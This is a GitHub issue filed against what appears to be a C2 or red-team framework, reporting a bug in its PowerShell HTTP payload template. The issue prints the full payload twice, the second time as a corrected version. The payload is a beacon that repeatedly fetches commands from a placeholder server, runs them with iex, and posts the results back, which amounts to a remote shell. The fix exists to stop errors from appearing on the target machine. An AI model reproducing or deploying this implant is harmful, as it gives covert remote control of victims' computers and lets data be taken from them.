Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Find error in payload_templates #67

Open
dokDork opened this issue Dec 9, 2024 · 0 comments
Open

Find error in payload_templates #67

dokDork opened this issue Dec 9, 2024 · 0 comments

Comments

@dokDork
Copy link

dokDork commented Dec 9, 2024

In http_payload.ps1 I find an issue that generate error message on target machine.
Current version is lke
$s='SERVERIP';$i='SESSIONID';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/VERIFY -Headers @{"HOAXID"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/GETCMD -Headers @{"HOAXID"=$i}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/POSTRES -Method POST -Headers @{"HOAXID"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep FREQ}

A UseBasicParsing parameter is missing in last Invoke-webRequest.
Correct version shoud be something like
$s='SERVERIP';$i='SESSIONID';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/VERIFY -Headers @{"HOAXID"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/GETCMD -Headers @{"HOAXID"=$i}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -UseBasicParsing -Uri $p$s/POSTRES -Method POST -Headers @{"HOAXID"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep FREQ}

Hope this could be useful for you.
Best DokDork

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant